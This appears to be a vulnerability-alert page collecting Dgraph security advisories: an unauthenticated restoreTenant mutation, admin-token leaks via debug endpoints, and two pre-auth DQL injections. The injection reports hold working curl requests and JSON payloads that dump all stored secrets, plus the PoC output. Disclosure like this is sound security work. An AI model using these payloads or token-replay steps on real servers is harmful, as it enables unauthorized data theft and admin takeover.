Where
-Infinity
0
Severity
10
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Dgraph is an open source distributed GraphQL database. Prior to 25.3.1, the restoreTenant admin mutation is missing from the authorization middleware config (admin.go), making it completely unauthenticated. Unlike the similar restore mutation which requires Guardian-of-Galaxy authentication, restoreTenant executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including file:// for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. This vulnerability is fixed in 25.3.1.

1 / 2
Source: MITRE
First published (updated )
Severity
9.8
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary Dgraph v25.3.2 still exposes the process command line through the unauthenticated /debug/vars endpoint on Alpha. Because the admin token is commonly supplied via the --security "token=..." startup flag, an unauthenticated attacker can retrieve that token and replay it in the X-Dgraph-AuthToken header to access admin-only endpoints.

This is a variant of the previously fixed /debug/pprof/cmdline issue, but the current fix is incomplete because it blocks only /debug/pprof/cmdline and still serves http.DefaultServeMux, which includes expvar's /debug/vars handler.

Details Alpha still exposes Go's default HTTP mux:

- x/metrics.go - imports expvar - initializes Conf = expvar.NewMap("dgraphconfig") - Go's expvar package automatically registers /debug/vars - expvar publishes: - cmdline = os.Args - memstats = runtime.Memstats

Alpha's HTTP handler explicitly blocks only the old CVE path:

- dgraph/cmd/alpha/run.go - checks if r.URL.Path == "/debug/pprof/cmdline" and returns 404 - otherwise falls through to http.DefaultServeMux.ServeHTTP(w, r)

Admin endpoints still trust the leaked token:

- dgraph/cmd/alpha/admin.go - reads X-Dgraph-AuthToken - compares it to worker.Config.AuthToken PoC 1. Send an unauthenticated request to Alpha:

http GET /debug/vars HTTP/1.1 Host: target:8080

2. Parse the JSON response and read the cmdline field.

3. Extract the admin token from the startup arguments, for example:

text --security token=debug-vars-secret;

4. Replay the token to an admin-only endpoint:

http GET /admin/config/cachemb HTTP/1.1 Host: target:8080 X-Dgraph-AuthToken: debug-vars-secret

5. The request is accepted as an authorized admin request.

This was reproduced against dgraph/dgraph:v25.3.2 in Docker.

Observed behavior:

- unauthenticated /debug/vars leaked the configured token - replaying the leaked token in X-Dgraph-AuthToken successfully accessed /admin/config/cachemb - response body was:

text 4096

It was verified that the old CVE path appears specifically patched in the same version:

- /debug/pprof/cmdline returned 404 Not Found - /debug/pprof/ remained reachable

Impact Unauthenticated attackers can obtain the Alpha admin token and gain unauthorized administrative access.

This enables privileged admin operations such as:

- reading privileged admin configuration - mutating admin configuration - performing operational control actions gated by X-Dgraph-AuthToken

In deployments where the Alpha HTTP port is reachable by untrusted parties, this is a practical authentication bypass to admin functionality.

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Summary An unauthenticated debug endpoint in Dgraph Alpha exposes the full process command line, including the configured admin token from --security "token=...".

This does not break token validation logic directly; instead, it discloses the credential and enables unauthorized admin-level access by reusing the leaked token in X-Dgraph-AuthToken.

Details The behavior occurs entirely within core Alpha HTTP routing and does not require any external proxy, plugin, or non-core integration.

The core issue is not that admin token protection is absent, but that the protected secret is exposed in cleartext through an unauthenticated core debug endpoint.

Relevant code paths: - dgraph/cmd/alpha/run.go:17 imports net/http/pprof, which registers /debug/pprof/ handlers on the default mux. - dgraph/cmd/alpha/run.go:533 uses http.Handle("/", audit.AuditRequestHttp(baseMux)), so default-mux handlers remain reachable. - dgraph/cmd/alpha/admin.go:52 enforces admin token checks in adminAuthHandler for admin endpoints. - dgraph/cmd/alpha/admin.go:74 shows /admin/config/cachemb behind adminAuthHandler.

Credential-exposure chain: 1. /debug/pprof/cmdline is reachable without authentication. 2. Its output includes the configured admin token from process arguments. 3. The disclosed token is accepted by adminAuthHandler when sent as X-Dgraph-AuthToken. 4. An attacker gains unauthorized access to admin-only functionality.

Observed local evidence (safe validation): - Request: GET /admin/config/cachemb without token - Status: 200 (request rejected at application layer) - Body contains error: Invalid X-Dgraph-AuthToken - The endpoint returns HTTP 200 but indicates authentication failure in the response body. - Request: GET /debug/pprof/cmdline without token - Status: 200 - Body excerpt includes: --security=token=TopSecretToken123; - Request: GET /admin/config/cachemb with X-Dgraph-AuthToken: TopSecretToken123 - Status: 200 - Body: 4096

Important policy/triage clarification: - This issue persists even when the admin-token security feature is enabled: the token itself is exposed via an unauthenticated core debug endpoint, making this more than a misconfiguration-only concern. - Network restrictions (bind/whitelist/firewall) may reduce exposure, but they do not remediate the underlying credential disclosure behavior.

PoC

- Branch: main - Commit: b15c87e93 - Describe: v25.3.1

Preconditions: - Alpha HTTP port is reachable by attacker traffic. - Admin token is configured via supported startup flag: --security "token=...". - /debug/pprof/ is exposed on the same Alpha HTTP listener. - This behavior occurs with documented startup flags and without any non-default or unsupported configuration.

Reproduction steps: 1. Start Zero and Alpha (example local setup): - dgraph zero --my=127.0.0.1:5280 --portoffset=200 --bindall=false --wal=./zw - dgraph alpha --my=127.0.0.1:7280 --zero=127.0.0.1:5280 --portoffset=200 --bindall=false --security "token=TopSecretToken123;" --postings=./p --wal=./w --tmp=./t

2. Verify admin endpoint rejects unauthenticated request: - curl -i http://127.0.0.1:8280/admin/config/cachemb - Expected body includes Invalid X-Dgraph-AuthToken.

3. Read token from unauthenticated debug endpoint: - curl -s http://127.0.0.1:8280/debug/pprof/cmdline - Expected output includes --security=token=TopSecretToken123;.

4. Reuse leaked token against admin endpoint: - curl -i -H "X-Dgraph-AuthToken: TopSecretToken123" http://127.0.0.1:8280/admin/config/cachemb - Expected: successful response (example observed: 4096).

Note: The PoC uses 127.0.0.1 only for safe local validation. The vulnerable condition is unauthenticated reachability of /debug/pprof/cmdline; in any deployment where Alpha HTTP is reachable by untrusted parties, the same token disclosure and subsequent unauthorized admin access apply.

Impact

- Unauthenticated disclosure of a sensitive admin credential via debug endpoint, enabling unauthorized privileged administrative access through token reuse - Operators running Dgraph Alpha with admin token configured, where Alpha HTTP/debug routes are reachable by untrusted users or networks.

The attack requires network reachability to the Alpha HTTP port. In deployments where this interface is exposed beyond trusted boundaries, the issue is remotely exploitable without authentication.

Depending on exposed admin functionality in deployment policy, this may allow configuration changes, operational control actions, and other privileged administrative operations exposed through /admin/.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

1. Executive Summary

A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.

The attack is a single HTTP POST to /mutate?commitNow=true containing a crafted cond field in an upsert mutation. The cond value is concatenated directly into a DQL query string via strings.Builder.WriteString after only a cosmetic strings.Replace transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the cond string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response.

There are no credentials involved. When ACL is disabled (the default), the /mutate endpoint requires no authentication. The authorizeQuery and authorizeMutation functions both return nil immediately when AclSecretKey is not configured. Even when ACL is enabled, a user with mutation-only permission can inject read queries that bypass per-predicate ACL authorization, because the injected query block is not subject to the normal authorization flow.

POC clip:

https://github.com/user-attachments/assets/edf43615-b0d5-46cd-abd9-2cb9423790d2

2. CVSS Score

CVSS 3.1: 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

| Metric | Value | Rationale | | ------------------- | --------- | ---------------------------------------------------------------------------------- | | Attack Vector | Network | HTTP POST to port 8080 | | Attack Complexity | Low | Single request, no special conditions beyond default config | | Privileges Required | None | No authentication when ACL is disabled (default) | | User Interaction | None | Fully automated | | Scope | Unchanged | Stays within the Dgraph data layer | | Confidentiality | High | Full database exfiltration: all nodes, all predicates, all values | | Integrity | High | The injection can also be used to manipulate upsert conditions, bypassing uniqueness constraints and conditional mutation logic | | Availability | None | No denial of service |

3. Vulnerability Summary

| Field | Value | | --------- | ------------------------------------------------------------------------------------------ | | Title | Pre-Auth DQL Injection via Unsanitized Cond Field in Upsert Mutations | | Type | Injection | | CWE | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) | | CVSS | 9.8 |

4. Target Information

| Field | Value | | -------------------- | ---------------------------------------------------------------------------------------------- | | Project | Dgraph | | Repository | https://github.com/dgraph-io/dgraph | | Tested version | v25.3.0 | | HTTP handler | dgraph/cmd/alpha/http.go line 345 (mutationHandler) | | Cond extraction | dgraph/cmd/alpha/http.go line 413 (strconv.Unquote) | | Cond passthrough | edgraph/server.go line 2011 (ParseMutationObject, copies mu.Cond verbatim) | | Injection sink | edgraph/server.go line 750 (upsertQB.WriteString(cond)) | | Only transformation | edgraph/server.go line 730 (strings.Replace(gmu.Cond, "@if", "@filter", 1)) | | Auth bypass (query) | edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil) | | Auth bypass (mutate) | edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil) | | Response exfiltration| dgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json)) | | HTTP port | 8080 (default) | | Prerequisite | None. Default configuration. ACL disabled is the default. |

5. Test Environment

| Component | Version / Details | | -------------------- | --------------------------------------------------------------- | | Host OS | macOS (darwin 25.3.0) | | Dgraph | v25.3.0 via dgraph/dgraph:latest Docker image | | Docker Compose | 1 Zero + 1 Alpha, default config, --security whitelist=0.0.0.0/0 | | Python | 3.x with requests | | Network | localhost (127.0.0.1) |

6. Vulnerability Detail

Location: edgraph/server.go lines 714-757 (buildUpsertQuery) CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

The /mutate endpoint accepts JSON bodies containing a mutations array. Each mutation can include a cond field, intended for conditional upserts with syntax like @if(eq(name, "Alice")). This condition is supposed to be spliced into the DQL query as a @filter clause on a dummy var(func: uid(0)) block.

The handler at http.go:413 extracts the cond value via strconv.Unquote, which interprets \n as actual newlines but performs no sanitization:

go mu.Cond, err = strconv.Unquote(string(condText.bs))

ParseMutationObject at server.go:2011 copies it verbatim:

go res := &dql.Mutation{Cond: mu.Cond}

buildUpsertQuery at server.go:730 applies one cosmetic replacement then concatenates the raw string directly into the DQL query:

go cond := strings.Replace(gmu.Cond, "@if", "@filter", 1) // ... x.Check2(upsertQB.WriteString(cond))

There is no escaping, no parameterization, no structural validation, and no character allowlist between the HTTP input and the query string concatenation.

An attacker crafts a cond value that closes the @filter(...) clause and opens an entirely new named query block:

@if(eq(name, "nonexistent")) leak(func: has(dgraph.type)) { uid name email secret }

After buildUpsertQuery processes this, the resulting DQL is:

dql { q(func: uid(0x1)) { uid } dgraphupsertcheck0 as var(func: uid(0)) @filter(eq(name, "nonexistent")) leak(func: has(dgraph.type)) { uid name email secret } }

The DQL parser (dql.ParseWithNeedVars) accepts multiple query blocks within a single {} container. It parses leak(...) as a legitimate named query. The validateResult function at parser.go:740 only checks for duplicate aliases and explicitly skips var queries. The injected query uses a unique alias, so validation passes.

All three queries execute. The results of the injected leak block are serialized to JSON and returned to the attacker at http.go:498:

go mp["queries"] = json.RawMessage(resp.Json)

The @if condition evaluates to false ("nonexistent" matches nothing), so the set mutation never actually writes data. The attack is a pure read disguised as a mutation. No data is modified.

7. Full Chain Explanation

The attacker has no Dgraph credentials and no prior access to the server.

Step 1. The attacker sends one HTTP request:

POST /mutate?commitNow=true HTTP/1.1 Host: TARGET:8080 Content-Type: application/json

{ "query": "{ q(func: uid(0x1)) { uid } }", "mutations": [{ "set": [{"uid": "0x1", "dgraph.type": "Dummy"}], "cond": "@if(eq(name, \"nonexistent\"))\n leak(func: has(dgraph.type)) { uid dgraph.type name email secret awsaccesskeyid awssecretaccesskey gcpserviceaccountkey }" }] }

No X-Dgraph-AccessToken header. No X-Dgraph-AuthToken header. The /mutate endpoint has no authentication wrapper in default configuration.

Step 2. mutationHandler at http.go:345 calls readRequest to get the body, then extractMutation which calls strconv.Unquote on the cond field. The \n becomes a real newline. The result is stored in api.Mutation.Cond.

Step 3. The request enters edgraph.Server.QueryNoGrpc at http.go:471, which calls doQuery -> parseRequest -> ParseMutationObject. The Cond is copied verbatim to dql.Mutation.Cond at server.go:2011.

Step 4. buildUpsertQuery at server.go:714 processes the condition. The only transformation is strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730. The full string, including the injected leak(...) block, is written into the query builder at line 750.

Step 5. dql.ParseWithNeedVars parses the constructed DQL string. It encounters three query blocks: q, the upsert check var, and the injected leak. All three are accepted as valid DQL.

Step 6. authorizeQuery at access.go:958 returns nil immediately because AclSecretKey == nil (ACL not configured). No predicate-level authorization is performed.

Step 7. processQuery executes all three query blocks. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.

Step 8. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates, including secrets, credentials, and PII.

8. Proof of Concept

Files

| File | Purpose | | ----------------------- | ---------------------------------------------------------- | | report.md | This vulnerability report | | poc.py | Exploit: sends the injection and prints leaked data | | docker-compose.yml | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config) | | DGraphPreAuthDQL.mp4 | Screen recording of the full attack from start to exfiltration |

POC files zip: LEAD001DQL.zip

poc.py

The exploit sends a single POST to /mutate?commitNow=true with the crafted cond field. It parses the response and prints all exfiltrated records, highlighting secrets, AWS credentials, and GCP service account keys.

Tested Output

$ python3 poc.py [] Sending crafted upsert mutation with DQL injection in cond field … [] HTTP 200 [+] SUCCESS — Injected query returned 5 node(s):

[User] uid=0x1 name: Alice Admin email: alice@corp.com secret: SSN-123-45-6789 role: admin

[User] uid=0x2 name: Bob User email: bob@corp.com secret: SSN-987-65-4321 role: user

[User] uid=0x3 name: Eve Secret email: eve@corp.com secret: APIKEYsk-live-abc123xyz role: superadmin

[CloudCredential] uid=0x4 name: prod-aws-credentials AWSACCESSKEYID: AKIAIOSFODNN7EXAMPLE AWSSECRETACCESSKEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[CloudCredential] uid=0x5 name: gcp-bigquery-service-account GCPSERVICEACCOUNTKEY: {"type":"serviceaccount","projectid":"prod-analytics","privatekey":"-----BEGI…

[+] CRITICAL — Exfiltrated 5 record(s) containing secrets via pre-auth DQL injection → 1 AWS credential(s) — attacker can access AWS account → 1 GCP service account key(s) — attacker can access GCP project

9. Steps to Reproduce

Prerequisites

- Python 3 with requests (pip install requests) - Docker and Docker Compose

Step 1: Start Dgraph

bash cd report docker compose -f docker-compose-test.yml up -d

Wait for health:

bash curl http://localhost:8080/health

Step 2: Seed test data

bash curl -s -X POST http://localhost:8080/alter -d ' name: string @index(exact) . email: string @index(exact) . secret: string . role: string . awsaccesskeyid: string . awssecretaccesskey: string . gcpserviceaccountkey: string . '

curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \ -H 'Content-Type: application/json' \ -d '{"set":[ {"dgraph.type":"User","name":"Alice Admin","email":"alice@corp.com","secret":"SSN-123-45-6789","role":"admin"}, {"dgraph.type":"User","name":"Bob User","email":"bob@corp.com","secret":"SSN-987-65-4321","role":"user"}, {"dgraph.type":"User","name":"Eve Secret","email":"eve@corp.com","secret":"APIKEYsk-live-abc123xyz","role":"superadmin"}, {"dgraph.type":"CloudCredential","name":"prod-aws-credentials","awsaccesskeyid":"AKIAIOSFODNN7EXAMPLE","awssecretaccesskey":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}, {"dgraph.type":"CloudCredential","name":"gcp-bigquery-service-account","gcpserviceaccountkey":"{\"type\":\"serviceaccount\",\"projectid\":\"prod-analytics\",\"privatekey\":\"-----BEGIN RSA PRIVATE KEY-----\\nEXAMPLEKEY\\n-----END RSA PRIVATE KEY-----\",\"clientemail\":\"bigquery@prod-analytics.iam.gserviceaccount.com\"}"} ]}'

Step 3: Run the exploit

bash cd LEAD001DQL python3 poc.py

What to verify

1. HTTP POST returns 200 (endpoint is reachable without auth) 2. Response contains data.queries.leak with an array of nodes 3. The nodes include fields the attacker never queried through legitimate means (secrets, AWS keys, GCP keys) 4. No data was modified in the database (the @if condition prevents the set from executing)

10. Mitigations and Patch

Location: edgraph/server.go, buildUpsertQuery (line 714)

Instead of concatenating the raw cond string into the DQL query, buildUpsertQuery should parse the cond value with the DQL lexer and construct the @filter as a parsed AST subtree. This eliminates the injection surface entirely because the filter is built programmatically rather than spliced in as a raw string. The existing strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730 is a semantic transformation, not a security control, and should not be relied upon for sanitization.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

1. Executive Summary

A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.

The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with @unique @index(exact) @lang via /alter (also unauthenticated in default config). The second sends a crafted JSON mutation to /mutate?commitNow=true where a JSON key contains the predicate name followed by @ and a DQL injection payload in the language tag position.

The injection exploits the addQueryIfUnique function in edgraph/server.go, which constructs DQL queries using fmt.Sprintf with unsanitized predicateName that includes the raw pred.Lang value. The Lang field is extracted from JSON mutation keys by x.PredicateLang(), which splits on @, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the eq() function, adds an arbitrary named query block, and uses a # comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.

POC clip:

https://github.com/user-attachments/assets/bbfb7bba-c957-4b57-b534-48a958314186

2. CVSS Score

CVSS 3.1: 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

| Metric | Value | Rationale | | ------------------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------- | | Attack Vector | Network | HTTP POST to port 8080 | | Attack Complexity | Low | Two requests, deterministic outcome, no special conditions | | Privileges Required | None | No authentication when ACL is disabled (default) | | User Interaction | None | Fully automated | | Scope | Unchanged | Stays within the Dgraph data layer | | Confidentiality | High | Full database exfiltration: all nodes, all predicates, all values | | Integrity | High | The mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter | | Availability | None | No denial of service |

3. Vulnerability Summary

| Field | Value | | ----- | --------------------------------------------------------------------------- | | Title | Pre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique | | Type | Injection | | CWE | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) | | CVSS | 9.8 |

4. Target Information

| Field | Value | | --------------------- | ------------------------------------------------------------------------------------------------------------------------ | | Project | Dgraph | | Repository | https://github.com/dgraph-io/dgraph | | Tested version | v25.3.0 | | Lang split | x/x.go line 919 (PredicateLang splits on @, returns everything after as Lang) | | Lang assignment | chunker/jsonparser.go line 524 (nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)) | | Validation gap | edgraph/server.go line 2142 (validateKeys checks nq.Predicate only, never nq.Lang) | | Injection sink | edgraph/server.go line 1808 (fmt.Sprintf with predicateName containing raw pred.Lang) | | predicateName build | edgraph/server.go line 1780 (fmt.Sprintf("%v@%v", predicateName, pred.Lang)) | | Auth bypass (query) | edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil) | | Auth bypass (mutate) | edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil) | | Response exfiltration | dgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json)) | | HTTP port | 8080 (default) | | Prerequisite | A predicate with @unique @index(exact) @lang in the schema. The attacker can create this via unauthenticated /alter. |

5. Test Environment

| Component | Version / Details | | -------------- | ------------------------------------------------------------------ | | Host OS | macOS (darwin 25.3.0) | | Dgraph | v25.3.0 via dgraph/dgraph:latest Docker image | | Docker Compose | 1 Zero + 1 Alpha, default config, whitelist=0.0.0.0/0 | | Python | 3.x with requests | | Network | localhost (127.0.0.1) |

6. Vulnerability Detail

Location: edgraph/server.go lines 1778-1808 (addQueryIfUnique) CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

The /mutate endpoint accepts JSON mutations. When a predicate has the @unique directive, the addQueryIfUnique function builds a DQL query to check whether the value already exists.

The JSON chunker at jsonparser.go:524 splits mutation keys on @ via x.PredicateLang:

go nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)

PredicateLang at x/x.go:919 splits on the last @ and returns everything after it as the Lang string with no validation:

go func PredicateLang(s string) (string, string) { i := strings.LastIndex(s, "@") if i <= 0 { return s, "" } return s[0:i], s[i+1:] }

validateKeys at server.go:2142 validates only nq.Predicate. It never touches nq.Lang:

go func validateKeys(nq api.NQuad) error { if err := validateKey(nq.Predicate); err != nil { return errors.Wrapf(err, "predicate %q", nq.Predicate) } for i := range nq.Facets { // ... validates facet keys ... } return nil // nq.Lang is never checked }

addQueryIfUnique at server.go:1778-1808 builds predicateName from the predicate and the raw Lang, then interpolates it into a DQL query via fmt.Sprintf:

go predicateName := fmt.Sprintf("<%v>", pred.Predicate) if pred.Lang != "" { predicateName = fmt.Sprintf("%v@%v", predicateName, pred.Lang) } // ... query := fmt.Sprintf(%v as var(func: eq(%v,"%v")), queryVar, predicateName, val[1:len(val)-1])

There is no escaping, no parameterization, no structural validation, and no character allowlist applied to pred.Lang anywhere between the HTTP input and the fmt.Sprintf query construction.

An attacker crafts a JSON mutation key:

name@en,"x")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret awsaccesskeyid awssecretaccesskey } } #

After PredicateLang splits on @:

- Predicate = name (passes all validation) - Lang = en,"x")) leak(func: has(dgraph.type)) { ... } } # (never validated)

The constructed DQL becomes:

dql { dgraphuniquecheck0 as var(func: eq(<name>@en,"x")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret awsaccesskeyid awssecretaccesskey } }

The # comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a var query (returns empty) and a named leak query that exfiltrates all data. The uniqueness check passes (no existing name@en equals "x"), so the mutation succeeds, and the injected query results are returned in data.queries.leak.

7. Full Chain Explanation

The attacker has no Dgraph credentials and no prior access to the server.

Step 1. The attacker creates the required schema via unauthenticated /alter:

POST /alter HTTP/1.1 Host: TARGET:8080

name: string @unique @index(exact) @lang .

No X-Dgraph-AccessToken header. In default configuration, /alter has no authentication when ACL is disabled.

Step 2. The attacker sends the injection payload:

POST /mutate?commitNow=true HTTP/1.1 Host: TARGET:8080 Content-Type: application/json

{ "set": [{ "uid": ":inject", "name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret awsaccesskeyid awssecretaccesskey } } #": "anything" }] }

Step 3. mutationHandler at http.go:345 parses the JSON body. The key name@en,... is treated as predicate name with language tag en,"x")) leak(...) } } #.

Step 4. x.PredicateLang at x.go:919 splits the key on the last @. The Predicate is name. The Lang is the injection payload.

Step 5. validateKeys at server.go:2142 validates only nq.Predicate (name), which passes. nq.Lang is never checked.

Step 6. addQueryIfUnique at server.go:1778 constructs predicateName by appending the raw pred.Lang at line 1780. At line 1808, fmt.Sprintf interpolates this into the DQL query string.

Step 7. dql.ParseWithNeedVars parses the constructed DQL. It encounters the original var query and the injected leak query. Both are accepted as valid DQL.

Step 8. authorizeQuery at access.go:958 returns nil because AclSecretKey == nil (default). No predicate-level authorization is performed.

Step 9. processQuery executes both queries. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.

Step 10. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates.

8. Proof of Concept

Files

| File | Purpose | | ------------------ | ------------------------------------------------------------ | | report.md | This vulnerability report | | poc.py | Exploit: sets up schema, seeds data, injects, prints leak | | docker-compose.yml | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config) | | DGraphPreAuthLangDQL.mp4 | Screen recording of the full attack from start to exfiltration |

ZIP with all the relevant files: DGraphPreAuthDQLLang.zip

poc.py

The exploit performs three operations: (1) creates the @unique @index(exact) @lang schema, (2) seeds test data including user secrets and AWS credentials, (3) sends the injection mutation and prints all exfiltrated records.

Tested Output

$ python3 poc.py [] Target: http://localhost:8080 [] LEAD002: DQL Injection via NQuad Lang Field in addQueryIfUnique

[+] Schema created: name @unique @index(exact) @lang [+] Seed data inserted (4 nodes with secrets) [] Sending injection payload to http://localhost:8080/mutate?commitNow=true [+] SUCCESS: Exfiltrated 5 nodes via DQL injection! ============================================================ UID: 0xf5fcd Type: ['dgraph.graphql'] Name: N/A Email: N/A ---------------------------------------- UID: 0xf5fce Type: ['Person'] Name: Alice Email: alice@example.com SECRET: s3cr3talice ---------------------------------------- UID: 0xf5fcf Type: ['Person'] Name: Bob Email: bob@corp.com SECRET: bobpassword123 ---------------------------------------- UID: 0xf5fd0 Type: ['Admin'] Name: root Email: admin@internal SECRET: ADMINMASTERKEYDONOTSHARE ---------------------------------------- UID: 0xf5fd1 Type: ['ServiceAccount'] Name: prod-s3-backup Email: infra@corp.com AWSACCESSKEYID: AKIAIOSFODNN7EXAMPLE AWSSECRETACCESSKEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY ---------------------------------------- ============================================================

[+] VULNERABILITY CONFIRMED: Pre-auth DQL injection via Lang field [+] Impact: Full database read access without authentication

9. Steps to Reproduce

Prerequisites

- Python 3 with requests (pip install requests) - Docker and Docker Compose

Step 1: Start Dgraph

bash cd LEAD002DQLLANG docker compose up -d

Wait for health:

bash curl http://localhost:8080/health

Step 2: Run the exploit

bash python3 poc.py

The PoC handles schema creation, data seeding, and exploitation automatically.

Step 3: Manual reproduction

To reproduce manually without the PoC script:

bash Set up schema curl -s -X POST http://localhost:8080/alter -d ' name: string @unique @index(exact) @lang . email: string @index(exact) . secret: string . awsaccesskeyid: string . awssecretaccesskey: string . '

Seed data curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \ -H 'Content-Type: application/json' \ -d '{"set":[ {"dgraph.type":"Person","name":"Alice","email":"alice@example.com","secret":"s3cr3talice"}, {"dgraph.type":"Admin","name":"root","email":"admin@internal","secret":"ADMINMASTERKEY"}, {"dgraph.type":"ServiceAccount","name":"prod-s3-backup","awsaccesskeyid":"AKIAIOSFODNN7EXAMPLE","awssecretaccesskey":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"} ]}'

Exploit: single request exfiltrates everything curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \ -H 'Content-Type: application/json' \ -d '{"set":[{"uid":":x","name@en,\"x\")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret awsaccesskeyid awssecretaccesskey } } #":"anything"}]}' \ | python3 -m json.tool

What to verify

1. HTTP POST returns 200 (endpoint is reachable without auth) 2. Response contains data.queries.leak with an array of nodes 3. The nodes include secrets, AWS credentials, and other data the attacker never queried through legitimate means 4. The mutation also succeeds (a new node is created), confirming that the injection does not break the mutation flow

10. Mitigations and Patch

Location: edgraph/server.go, addQueryIfUnique (line 1778) and x/x.go, PredicateLang (line 919)

1. Validate nq.Lang: Add validation in validateKeys (or a new validateLang function) that restricts the Lang field to BCP 47 language tags: ^[a-zA-Z]{2,3}(-[a-zA-Z0-9]+)$. Reject any Lang value containing parentheses, braces, quotes, #, newlines, or other DQL-significant characters. 2. Parameterize DQL queries: Replace the fmt.Sprintf query construction in addQueryIfUnique with a structured query builder that constructs DQL AST nodes programmatically. This eliminates the injection surface entirely because the predicate name is passed as a typed value rather than interpolated as a raw string. 3. Escape at the sink: If parameterization is not immediately feasible, escape DQL-significant characters (), {, }, ", #, newlines) in both predicateName and val before interpolation at line 1808. 4. Defense in depth: After query construction, validate that the resulting DQL contains exactly the expected number of root query blocks. The uniqueness check should produce exactly one var(...) block per unique predicate. Any additional blocks indicate injection.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203